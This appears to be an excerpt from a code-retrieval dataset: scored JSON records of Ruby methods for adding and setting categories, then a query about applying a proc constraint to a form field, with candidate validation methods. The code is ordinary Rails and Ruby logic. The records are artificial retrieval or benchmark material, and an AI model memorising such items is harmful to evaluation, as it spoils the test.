"30980b55314d3d2bd55e731c41d1ff8b", "score": "0.6131728", "text": "def set_property_category\n @property_category = PropertyCategory.find(params[:id])\n end", "title": "" }, { "docid": "49a8b0be1a2f000d2f595c5931357f35", "score": "0.6101878", "text": "def uhook_create_category\n ::Category.new(params[:category])\n end", "title": "" }, { "docid": "3ac63d3b63a688acafd5f22742c4a479", "score": "0.6094136", "text": "def add_opportunity_category(category, opts = {})\n data, status_code, headers = add_opportunity_category_with_http_info(category, opts)\n return data\n end", "title": "" }, { "docid": "3e2831abd8bfa949818479d0604a6497", "score": "0.60763115", "text": "def set_Category(value)\n set_input(\"Category\", value)\n end", "title": "" }, { "docid": "3e2831abd8bfa949818479d0604a6497", "score": "0.60763115", "text": "def set_Category(value)\n set_input(\"Category\", value)\n end", "title": "" }, { "docid": "3e2831abd8bfa949818479d0604a6497", "score": "0.60763115", "text": "def set_Category(value)\n set_input(\"Category\", value)\n end", "title": "" }, { "docid": "250560a41700e0bbdeda42e3e70fde6d", "score": "0.60715663", "text": "def new_category(category)\n\n\t\t\tstructure=Utility::Structure.new(@client)\n response=structure.add_category(category)\n puts \"\\e[1;34mCategory added.\\e[0m\"\n\n\t\t\t\n end", "title": "" }, { "docid": "a566c0a6eed79b6e8f6b183ed789dfb8", "score": "0.60598433", "text": "def set_category(session, product)\n category_links = session.all(:css, '#wayfinding-breadcrumbs_feature_div a')\n product.category = category_links.map(&:text).join(' > ')\n end", "title": "" }, { "docid": "4a81c52efbcdcb9b565bc6f10279076d", "score": "0.6014256", "text": "def category_add(name, opts = {})\n data, _status_code, _headers = category_add_with_http_info(name, opts)\n return data\n end", "title": "" }, { "docid": "a0d69495d33c5ebaea50c4793656f177", "score": "0.59752184", "text": "def create\n id = params[:category_id]\n @category = Category.find(id) \n @property = @category.properties.create(property_params)\n redirect_to @category, notice: t('created')\n end", "title": "" }, { "docid": "0cb0b19633edd91af1b6a18bcf2b5a05", "score": "0.5955044", "text": "def set_Category(value)\n set_input(\"Category\", value)\n end", "title": "" }, { "docid": "b2874f6e62f52fa1ba9d261df40e14d7", "score": "0.59518707", "text": "def add_category(name)\n category = Category.find_or_create_by_name(name)\n category.add_question(self)\n end", "title": "" }, { "docid": "5d807507c9a0013cd40380f5ea4f8a6a", "score": "0.594736", "text": "def add_category\n respond_to do |format|\n category = Category.find(params[:category_id])\n @place.categories << category \n\n if @place.save\n\n format.html { redirect_to @place, notice: 'Place was successfully updated.' }\n format.json { render :show, status: :ok, location: @place }\n else\n format.html { render :edit }\n format.json { render json: @place.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bae655c0a5b96f51e6235b503e25af9f", "score": "0.59295905", "text": "def set_Category(value)\n set_input(\"Category\", value)\n end", "title": "" }, { "docid": "bae655c0a5b96f51e6235b503e25af9f", "score": "0.59295905", "text": "def set_Category(value)\n set_input(\"Category\", value)\n end", "title": "" }, { "docid": "bae655c0a5b96f51e6235b503e25af9f", "score": "0.59295905", "text": "def set_Category(value)\n set_input(\"Category\", value)\n end", "title": "" }, { "docid": "8e827e06c250194c9e5856d4e45602b9", "score": "0.59116507", "text": "def categories_property=(*property_values)\n @categories_property= property_values\n end", "title": "" }, { "docid": "a558f90c99b176426c2cfa7f680e656d", "score": "0.59022826", "text": "def category(category=Category)\n @category = category\n self\n end", "title": "" }, { "docid": "542b8de6ae4501ef9fe2adabf91dc54b", "score": "0.5890879", "text": "def add_category(iCategory, iValueType)\n log_msg \"Added category: #{iCategory}, #{iValueType} (#{@IdxID})\"\n @IdxID += 1\n\n return @IdxID-1\n end", "title": "" }, { "docid": "d759d90adfc752b1eeb129980a1b7127", "score": "0.5882245", "text": "def category_name=(category_name)\r\n self.category = Category.find_or_create_by(category_name: category_name) if category_name.present?\r\n end", "title": "" }, { "docid": "36d739d84d9208d80897659f97b04993", "score": "0.58533734", "text": "def category_name=(name)\n self.category = Category.find_or_create_by(name: name)\n end", "title": "" }, { "docid": "0d127415d47b2ced6c5f7a0b70f2ebd0", "score": "0.585104", "text": "def category_name=(name)\n self.category = Category.find_or_create_by(name: name)\n end", "title": "" }, { "docid": "1e085f9ccb0aedd44ef49fa7f05d8b96", "score": "0.58450824", "text": "def add_category\n @account = Account.find(params[:current_account]) if params[:current_account]\n category = Category.find(params[:item][:category_id].to_i)\n @item.category_id = category.id\n @item.update_attribute(:category_id, params[:item][:category_id])\n @item.update_attribute(:transfer, (category.transfer ? true : false))\n\n render :nothing => true\n end", "title": "" }, { "docid": "8e4a6203a39a72f4df2395f9ab43e778", "score": "0.58384806", "text": "def category\n ::HubEdos::Common::Reference::Descriptor.new(@data['category']) if @data['category']\n end", "title": "" }, { "docid": "927809b3ba0cf5db0d4687d212d0fa82", "score": "0.58148885", "text": "def uhook_new_category\n ::Category.new\n end", "title": "" }, { "docid": "3b30c5e2fc8f4f7bd2a72bcfe17faa63", "score": "0.5741279", "text": "def set_category\n @category = @collection.category.find(params[:category_id] || params[:id])\n end", "title": "" }, { "docid": "3a2c61e87ecc67a32ec8155f33d9e62e", "score": "0.5738028", "text": "def category\n end", "title": "" }, { "docid": "243bc7f0b39e612b2f32a9a40641f981", "score": "0.57377225", "text": "def add_token_to_category(category, token)\n cat_data(category)[:tokens][token] += 1\n cat_data(category)[:total_tokens] += 1\n end", "title": "" }, { "docid": "243bc7f0b39e612b2f32a9a40641f981", "score": "0.57377225", "text": "def add_token_to_category(category, token)\n cat_data(category)[:tokens][token] += 1\n cat_data(category)[:total_tokens] += 1\n end", "title": "" }, { "docid": "243bc7f0b39e612b2f32a9a40641f981", "score": "0.57377225", "text": "def add_token_to_category(category, token)\n cat_data(category)[:tokens][token] += 1\n cat_data(category)[:total_tokens] += 1\n end", "title": "" }, { "docid": "3cd7c3ed6f523558a8b5e0eedea23b88", "score": "0.5731543", "text": "def category\n @category = @doc.css(\".path:first > a\")[1].text rescue 'Uncategorized'\n @category = @category.split.join(\" \")\n condition = {:name => @category}\n OldCategory.find_or_create_by_name(condition)\n end", "title": "" }, { "docid": "09842887a9c575c88f16776b6055e8c9", "score": "0.5727716", "text": "def add_category(title)\n logger.info \"Adding category called #{title}\"\n WebDriverUtils.wait_for_element_and_click category_input_element\n self.category_input = title\n WebDriverUtils.wait_for_element_and_click add_category_button_element\n end", "title": "" }, { "docid": "8dd34e91751683c6f50cc97d5b15c0af", "score": "0.571661", "text": "def add_multiple_categories(*ruby_values)\n ruby_values.each {|val| self.categories_property << RiCal::PropertyValue::Array.convert(self, val)}\n end", "title": "" }, { "docid": "046020e1034c7bb5e7a0f24c058b0f70", "score": "0.57062674", "text": "def category(name)\n new(one.create(name, true) || raise(CreateFailed, \"Unable to create the category #{name}.\"))\n end", "title": "" }, { "docid": "c3104c5cd1b12cc9821a0ba7ef2583c7", "score": "0.5703719", "text": "def category_name=(name)\n self.category = Category.find_or_create_by(name: name)\n self.save\n end", "title": "" }, { "docid": "c3104c5cd1b12cc9821a0ba7ef2583c7", "score": "0.5703719", "text": "def category_name=(name)\n self.category = Category.find_or_create_by(name: name)\n self.save\n end", "title": "" }, { "docid": "05366d50943b5f0008995b8355c4e6b0", "score": "0.570294", "text": "def add_categorization_on_form(kapp_slug, body, headers=default_headers)\n raise StandardError.new \"Category properties is not valid, must be a Hash.\" unless body.is_a? Hash\n @logger.info(\"Adding Categorization for \\\"#{kapp_slug}\\\" kapp\")\n post(\"#{@api_url}/kapps/#{kapp_slug}/categorizations\", body, headers)\n end", "title": "" }, { "docid": "e7e18573ec4d295577282d28303e9a97", "score": "0.56834495", "text": "def set_category\n @category = apply_scopes(Category).find(params[:id])\n end", "title": "" }, { "docid": "fe33ab202612f2766759e4f1e49ee1e5", "score": "0.56364036", "text": "def set_category\n @category = Category.for_organization(current_organization).find(params[:id])\n end", "title": "" }, { "docid": "4b65f8d71f694d9a624a7aab2a501463", "score": "0.56347793", "text": "def create\n @category = Category.find_or_create_by_name params[:name]\n @image = Image.find(params[:image_id])\n\n if @category.save\n @image.categories << @category\n end\n end", "title": "" }, { "docid": "9d53dd414c4e602d0e2073a37d947bac", "score": "0.56262344", "text": "def add_property(var, name, property_type = :string, collection = nil)\n group_property = GroupProperty.new(var, name, property_type, collection)\n @properties << group_property\n self\n end", "title": "" }, { "docid": "0c440254d04deaacfc0590baad7f4d0d", "score": "0.562184", "text": "def categories=(ruby_value)\n @categories_property = [RiCal::PropertyValue::Array.convert(self, ruby_value)]\n end", "title": "" }, { "docid": "3ffaa25b625a6cdb179269fd6cfc4312", "score": "0.56190634", "text": "def add_category_metadata\n # metadata = current_category[:metadata]\n # metadata[:analysis] = get_max_attempts(max: 3, lock: true)\n # metadata[:abnormality] = get_max_attempts(max: 3, lock: true)\n end", "title": "" }, { "docid": "5a1b9c02b684e6be29bcf6a9957d1429", "score": "0.56127274", "text": "def set_category\n @category = Category.friendly.find(params[:id])\n end", "title": "" }, { "docid": "c8a4a598439ae949f26964ffeec1537b", "score": "0.56096715", "text": "def add_categories(categories)\n lifecycle.write_categories(categories)\n end", "title": "" }, { "docid": "abad248bcf789182fd0edcc980368c1b", "score": "0.5605278", "text": "def category_attributes=(attribute_hash)\n category = Category.find_or_create_by(attribute_hash)\n self.category = category\n end", "title": "" }, { "docid": "0567bda5f0e3d0bb03cda7a3c104a4d2", "score": "0.5602782", "text": "def set_category_id\n self.category_id = find_or_create_category.id\n end", "title": "" }, { "docid": "8978acdc6c4232a3af526dc35501f6bc", "score": "0.5601425", "text": "def create\n if !has_right?(:create)\n redirect_to :unauthorized\n return\n end\n @category = Category.new(params[:category])\n create_new_objects(:property => params[:property],\n \t\t\t\t\t\t\t\t\t :image_storage => params[:image_storage],\n \t\t\t\t\t\t\t\t\t :asset => params[:asset],\n \t\t\t\t\t\t\t\t\t :resource => @category) ### Add to all resources\n end", "title": "" }, { "docid": "cf17b9f4a459713856a8ec6aa22d5987", "score": "0.55990314", "text": "def category_name=(category_name)\n self.category = Category.find_or_initialize_by_name(category_name)\n end", "title": "" }, { "docid": "c60b3047db6ee414228557edba87eafa", "score": "0.5596756", "text": "def add_category(category_name, parent_name)\n # First check if adding the parent/root node or a child to an existing parent\n if parent_name.nil?\n unless @root.nil?\n raise ArgumentError.new('CategoryTree root already exists!')\n end\n\n # Add the root node\n @root = CatNode.new(category_name)\n else\n # Get the parent CatNode in the tree\n parent_node = get_node(parent_name)\n\n if parent_node.nil?\n raise ArgumentError.new(\"CategoryTree does not contain parent '#{parent_name}'!\")\n else\n # Check if this category already exists\n raise ArgumentError.new(\"Category '#{category_name}' already exists in the tree!\") if contains?(category_name)\n\n # Add child to the parents child list\n parent_node.insert_child(category_name)\n end\n end\n end", "title": "" }, { "docid": "7c3a4490ac016aea351f8e277eb641fa", "score": "0.5593878", "text": "def create\n @category_property = CategoryProperty.new(params[:category_property])\n\n respond_to do |format|\n if @category_property.save\n format.html { redirect_to @category_property, :notice => 'Category property was successfully created.' }\n format.json { render :json => @category_property, :status => :created, :location => @category_property }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @category_property.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "de1019d3d161e462915d4ceb82ed94b7", "score": "0.55926865", "text": "def create_category payload\n\t\t\t\t\tFreshdesk::Api::Client.convert_to_hash( @connection.post CATEGORIES, payload )\n\t\t\t\tend", "title": "" }, { "docid": "bb19eca9598d158560d4b87a26681098", "score": "0.5591779", "text": "def set_category\n @category = Category.find(params[:id])\n end", "title": "" }, { "docid": "bb19eca9598d158560d4b87a26681098", "score": "0.5591779", "text": "def set_category\n @category = Category.find(params[:id])\n end", "title": "" }, { "docid": "bb19eca9598d158560d4b87a26681098", "score": "0.5591779", "text": "def set_category\n @category = Category.find(params[:id])\n end", "title": "" }, { "docid": "bb19eca9598d158560d4b87a26681098", "score": "0.5591779", "text": "def set_category\n @category = Category.find(params[:id])\n end", "title": "" }, { "docid": "bb19eca9598d158560d4b87a26681098", "score": "0.5591779", "text": "def set_category\n @category = Category.find(params[:id])\n end", "title": "" } ]
f61cedcdc1c68d82c426a996df49e55e
TODO: this method is doing too much, as you can see by the heavily stubbed tests
[ { "docid": "90cdc8a451664680d9fe329f2f7aa6c0", "score": "0.0", "text": "def locate_boundary( image, start_index = 0, invert_direction = false )\n # The default direction is left to right, top to bottom.\n # To go from right to left, or bottom to top, we invert_direction.\n detector.runs << run = create_run\n\n image = retrieve_image( image )\n last_line_index = determine_last_line_index( image )\n\n # detect_colour on each line and add results to run.\n (start_index..last_line_index).each do |line_index|\n absolute_line_index = determine_absolute_line_index( invert_direction, last_line_index, line_index )\n result = detector.detect_colour?( image, absolute_line_index )\n run.add_result( result )\n\n # return boundary if present\n if boundary = determine_boundary( line_index, run )\n return boundary\n end\n end\n\n # we've run out of lines, so no boundary was detected in the image.\n return nil\n end", "title": "" } ]
[ { "docid": "6513ed80c07083afaa67e08a17d5b972", "score": "0.6595768", "text": "def stubbed?; end", "title": "" }, { "docid": "072514f3348fe62556dcdfd4b06e3d08", "score": "0.61080027", "text": "def spec; end", "title": "" }, { "docid": "072514f3348fe62556dcdfd4b06e3d08", "score": "0.61080027", "text": "def spec; end", "title": "" }, { "docid": "072514f3348fe62556dcdfd4b06e3d08", "score": "0.61080027", "text": "def spec; end", "title": "" }, { "docid": "b6b2bcc0062aeb115edab7b10cbe6930", "score": "0.5956615", "text": "def desired; end", "title": "" }, { "docid": "6ab77a9219ee157923bc58599ba6aa77", "score": "0.5909504", "text": "def in_use; end", "title": "" }, { "docid": "6ab77a9219ee157923bc58599ba6aa77", "score": "0.5909504", "text": "def in_use; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.5813885", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.5813885", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.5813885", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.5813885", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.5813885", "text": "def implementation; end", "title": "" }, { "docid": "33e1db3c06643dd523dcc31fccf3a005", "score": "0.58046776", "text": "def used; end", "title": "" }, { "docid": "33e1db3c06643dd523dcc31fccf3a005", "score": "0.58046776", "text": "def used; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.5747277", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.5747277", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.5747277", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.5747277", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.5747277", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.5747277", "text": "def bodystmt; end", "title": "" }, { "docid": "6a02ffd7ccc73f929e1a395938c4afba", "score": "0.5708176", "text": "def stubba_object; end", "title": "" }, { "docid": "f98d6a9eea49481686b2aeab00386c37", "score": "0.5690722", "text": "def request_stubs; end", "title": "" }, { "docid": "f98d6a9eea49481686b2aeab00386c37", "score": "0.5690722", "text": "def request_stubs; end", "title": "" }, { "docid": "c9dca2359e04038394b1c66d5d923fa2", "score": "0.56818247", "text": "def wrapped; end", "title": "" }, { "docid": "c9dca2359e04038394b1c66d5d923fa2", "score": "0.56818247", "text": "def wrapped; end", "title": "" }, { "docid": "c9dca2359e04038394b1c66d5d923fa2", "score": "0.56818247", "text": "def wrapped; end", "title": "" }, { "docid": "c9dca2359e04038394b1c66d5d923fa2", "score": "0.56818247", "text": "def wrapped; end", "title": "" }, { "docid": "20888292727941835888e2d0f9081c0f", "score": "0.56751275", "text": "def inquiry; end", "title": "" }, { "docid": "20888292727941835888e2d0f9081c0f", "score": "0.56751275", "text": "def inquiry; end", "title": "" }, { "docid": "20888292727941835888e2d0f9081c0f", "score": "0.56751275", "text": "def inquiry; end", "title": "" }, { "docid": "a7e46056aae02404670c78192ffb8f3f", "score": "0.56736803", "text": "def original_result; end", "title": "" }, { "docid": "a9b4b561b04ad3aa44d429bfab1373ef", "score": "0.5669745", "text": "def stubbee; end", "title": "" }, { "docid": "2290804b238fc95bfd6b38f87c6d2895", "score": "0.5632205", "text": "def override; end", "title": "" }, { "docid": "3a6c467b91b215d41d1bccfe04753402", "score": "0.5593529", "text": "def _return_value()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "58e2e07d11b107b6864a328f2187e248", "score": "0.55791825", "text": "def apop?; end", "title": "" }, { "docid": "f0d50116d6d067bd787bf1044910efcb", "score": "0.55625576", "text": "def attempt; end", "title": "" }, { "docid": "6153b89dfd052a4eabe636ea1c0a31a6", "score": "0.55577594", "text": "def stubba_methods; end", "title": "" }, { "docid": "0aa0db9270c5a88c81da713a1ee0e8f8", "score": "0.5553345", "text": "def rescued_exception; end", "title": "" }, { "docid": "6a6ed5368f43a25fb9264e65117fa7d1", "score": "0.55465454", "text": "def internal; end", "title": "" }, { "docid": "3eddf61d14db861333e717d132242e67", "score": "0.5543057", "text": "def request_stub; end", "title": "" }, { "docid": "3eddf61d14db861333e717d132242e67", "score": "0.5543057", "text": "def request_stub; end", "title": "" }, { "docid": "3eddf61d14db861333e717d132242e67", "score": "0.5543057", "text": "def request_stub; end", "title": "" }, { "docid": "3eddf61d14db861333e717d132242e67", "score": "0.5542605", "text": "def request_stub; end", "title": "" }, { "docid": "0b4b414f02f43193303ed087b523373f", "score": "0.553825", "text": "def verify_stubbed_calls; end", "title": "" }, { "docid": "a16902f43ec3297db3e40849f4e8f422", "score": "0.55001205", "text": "def __mock_reset; end", "title": "" }, { "docid": "deca5e01605df7655cd433763b5329db", "score": "0.54855317", "text": "def non_example_failure; end", "title": "" }, { "docid": "066be921ec228d17c51f101728564a5d", "score": "0.54775095", "text": "def private\n head :ok\n end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.5475919", "text": "def setup; end", "title": "" }, { "docid": "1c709e6047dee3022a362eb47e365c82", "score": "0.5467357", "text": "def hook; end", "title": "" }, { "docid": "1c709e6047dee3022a362eb47e365c82", "score": "0.5467357", "text": "def hook; end", "title": "" }, { "docid": "1c709e6047dee3022a362eb47e365c82", "score": "0.5467357", "text": "def hook; end", "title": "" }, { "docid": "1c709e6047dee3022a362eb47e365c82", "score": "0.5467357", "text": "def hook; end", "title": "" }, { "docid": "dff37ea0d68b9c86bab1ceb2dfb658a9", "score": "0.54658526", "text": "def rc; end", "title": "" }, { "docid": "a2f6da6aea75b4622167b6f2af63180b", "score": "0.5464548", "text": "def stubs; end", "title": "" }, { "docid": "25b3fcfcf33ffae73848158244a8d93b", "score": "0.54581213", "text": "def run_internal; end", "title": "" }, { "docid": "950bef128403f02279cc1bb4ef43a028", "score": "0.5450799", "text": "def realized?; end", "title": "" }, { "docid": "950bef128403f02279cc1bb4ef43a028", "score": "0.5450799", "text": "def realized?; end", "title": "" }, { "docid": "84a502d33159b5465eb2055969ca814b", "score": "0.544715", "text": "def prepare; not_implemented; end", "title": "" }, { "docid": "9fbec9b2bcd97ad59997b3cbc61b2258", "score": "0.544429", "text": "def handle; end", "title": "" }, { "docid": "9fbec9b2bcd97ad59997b3cbc61b2258", "score": "0.544429", "text": "def handle; end", "title": "" }, { "docid": "9fbec9b2bcd97ad59997b3cbc61b2258", "score": "0.544429", "text": "def handle; end", "title": "" }, { "docid": "9fbec9b2bcd97ad59997b3cbc61b2258", "score": "0.544429", "text": "def handle; end", "title": "" }, { "docid": "9fbec9b2bcd97ad59997b3cbc61b2258", "score": "0.544429", "text": "def handle; end", "title": "" }, { "docid": "9fbec9b2bcd97ad59997b3cbc61b2258", "score": "0.544429", "text": "def handle; end", "title": "" }, { "docid": "7ff2011fa3dc45585a9272310eafb765", "score": "0.5419402", "text": "def isolated; end", "title": "" }, { "docid": "c3285b979f713395f60cf13edce8a310", "score": "0.54094297", "text": "def methodmissing; end", "title": "" }, { "docid": "8b79e8f7bbe83880e51794d26cd62a8f", "score": "0.54080653", "text": "def try; end", "title": "" }, { "docid": "3ae137b1a40ff3aae4f3cbb2b6082797", "score": "0.5397221", "text": "def reaper; end", "title": "" } ]
8f2f0020ac7f725058bb9c07c8b2ce93
applies a proc constraint to form[key]
[ { "docid": "73ff17364957075d9d139c308c410b80", "score": "0.7902476", "text": "def apply_proc_constraint(key, constraint)\n if res = constraint.call(@form[key])\n if untaint?(key)\n @form[key] = res \n @form[key].untaint\n end\n else\n @form.delete(key)\n @invalid_fields[key] ||= []\n unless @invalid_fields[key].include?(constraint.inspect)\n @invalid_fields[key].push(constraint.inspect)\n end\n nil\n end\n end", "title": "" } ]
[ { "docid": "dd849e3ed55848bd6146e22d81d6e892", "score": "0.6611226", "text": "def apply_hash_constraint(key, constraint)\n name = constraint[\"name\"]\n action = constraint[\"constraint\"]\n params = constraint[\"params\"]\n res = false\n skip_end = false\n\n # In order to call a builtin or proc, params and action must be present.\n if action and params\n arg = params.map {|m| @form[m]}\n if String === action\n res = self.send(\"match_#{action}\".intern, *arg)\n elsif Proc === action\n res = action.call(*arg)\n end\n end\n\n if Regexp === action\n ### New code to handle multiple elements (beware!)\n if Array(@form[key]).length > 1\n index = 0\n skip_end = true\n Array(@form[key]).each do |value|\n m = action.match(value)\n res = m[0] if m\n if res\n @form[key][index] = res if untaint?(key)\n else\n @form[key].delete_at(index)\n constraint = (name) ? name : constraint\n @invalid_fields[key] ||= []\n unless @invalid_fields[key].include?(constraint)\n @invalid_fields[key].push(constraint) \n end\n nil\n end\n index += 1\n end\n ### End new code\n else\n m = action.match(@form[key].to_s)\n res = m[0] if m\n end\n end\n\n if not skip_end\n if res\n @form[key] = res if untaint?(key)\n else\n @form.delete(key)\n constraint = (name) ? name : constraint\n @invalid_fields[key] ||= []\n unless @invalid_fields[key].include?(constraint)\n @invalid_fields[key].push(constraint) \n end\n nil\n end\n end\n end", "title": "" }, { "docid": "4f8edc25cdde385733376a21b04f4fb2", "score": "0.58136445", "text": "def applyConstraints(key, data)\n\t\tif (!@constraints.nil? && !@constraints[key].nil?)\n\t\t\t@constraints[key].each do |c|\n\t\t\t\tdata.collect!{|d| c.call(convertArrayToHash(d))}.compact!\n\t\t\tend\n\t\tend\n\t\tdata\n\tend", "title": "" }, { "docid": "6df55433a259cebdf7756db3cd66ebbe", "score": "0.5743404", "text": "def apply_regexp_constraint(key, constraint)\n ### New code to handle multiple elements (beware!)\n if Array(@form[key]).length > 1\n index = 0\n Array(@form[key]).each do |value|\n m = constraint.match(@form[key][index].to_s)\n if m\n if untaint?(key)\n @form[key][index] = m[0]\n @form[key][index].untaint\n end\n else\n @form[key].delete_at(index)\n @invalid_fields[key] ||= []\n unless @invalid_fields[key].include?(constraint.inspect)\n @invalid_fields[key].push(constraint.inspect)\n end\n nil\n end\n index += 1\n end\n ### End new code\n else\n m = constraint.match(@form[key].to_s)\n if m\n if untaint?(key)\n @form[key] = m[0]\n @form[key].untaint\n end\n else\n @form.delete(key)\n @invalid_fields[key] ||= []\n unless @invalid_fields[key].include?(constraint.inspect)\n @invalid_fields[key].push(constraint.inspect)\n end\n nil\n end\n end\n end", "title": "" }, { "docid": "c87d3655ef888b89b411a9a1a9b84f12", "score": "0.55612063", "text": "def apply_string_constraint(key, constraint)\n ### New code to handle multiple elements (beware!)\n if Array(@form[key]).length > 1\n index = 0\n Array(@form[key]).each do |value|\n res = self.send(\"match_#{constraint}\".intern, @form[key][index].to_s)\n if res\n if untaint?(key)\n @form[key][index] = res\n @form[key][index].untaint\n end\n else\n @form[key].delete_at(index)\n @invalid_fields[key] ||= []\n unless @invalid_fields[key].include?(constraint)\n @invalid_fields[key].push(constraint) \n end\n nil\n end\n index += 1\n end\n ### End new code\n else\n res = self.send(\"match_#{constraint}\".intern, @form[key].to_s)\n if res\n if untaint?(key)\n @form[key] = res \n @form[key].untaint\n end\n else\n @form.delete(key)\n @invalid_fields[key] ||= []\n unless @invalid_fields[key].include?(constraint)\n @invalid_fields[key].push(constraint) \n end\n nil\n end\n end\n end", "title": "" }, { "docid": "1de5e31bc331ed6f00ac69941227b8b2", "score": "0.5198131", "text": "def store(key, process, options = {})\n unless (options.has_key?(:extract) and options[:extract] == false)\n if validator.datas.has_key?(key)\n value = ((options.has_key?(:cast) and options[:cast] == false) ? validator.datas[key] : process.call(validator.datas[key]))\n if(options.has_key?(:in))\n in_array?(key, options[:in])\n elsif(options.has_key?(:equals))\n equals_to?(key, options[:equals])\n elsif(options.has_key?(:equals_key))\n equals_key?(key, options[:equals_key])\n end\n options.has_key?(:rename) ? (validator.filtered[options[:rename]] = value) : (validator.filtered[key] = value)\n end\n end\n end", "title": "" }, { "docid": "690fb2052ba81dbbe4b6a77167e149ac", "score": "0.5177161", "text": "def form_bind hash\n hash.each_pair do |k, v|\n nk = key_to_i(k)\n desc = \"??\"\n desc = v if v.is_a? String or v.is_a? Symbol\n @form.bind_key(nk, desc) { self.send(v) }\n end\n end", "title": "" }, { "docid": "ac81bcf79a1b30894dbeddae1c429d30", "score": "0.50307924", "text": "def [](key)\n\t\t\tresult = super(key)\n\t\t\tresult = instance_exec(&result) if result.class <= Proc && result.parameters.empty?\n\t\t\tresult\n\t\tend", "title": "" }, { "docid": "1cd4ffe151cf0a97aaf66b8902a34f91", "score": "0.49919215", "text": "def [](key)\n\t\t\t\tresult = super(key)\n\t\t\t\tif result.class <= Proc && result.parameters.empty?\n\t\t\t\t\tresult = @app.class_exec(&result)\n\t\t\t\tend\n\t\t\t\tresult\n\t\t\tend", "title": "" }, { "docid": "eb2fd50f28496af4b9db366744150f3d", "score": "0.4949172", "text": "def eval(form)\n # puts \"evaling #{form.inspect}\"\n if (form.is_a?(Cons) or form.is_a?(Array)) and form.first\n apply(form.first, form.rest)\n 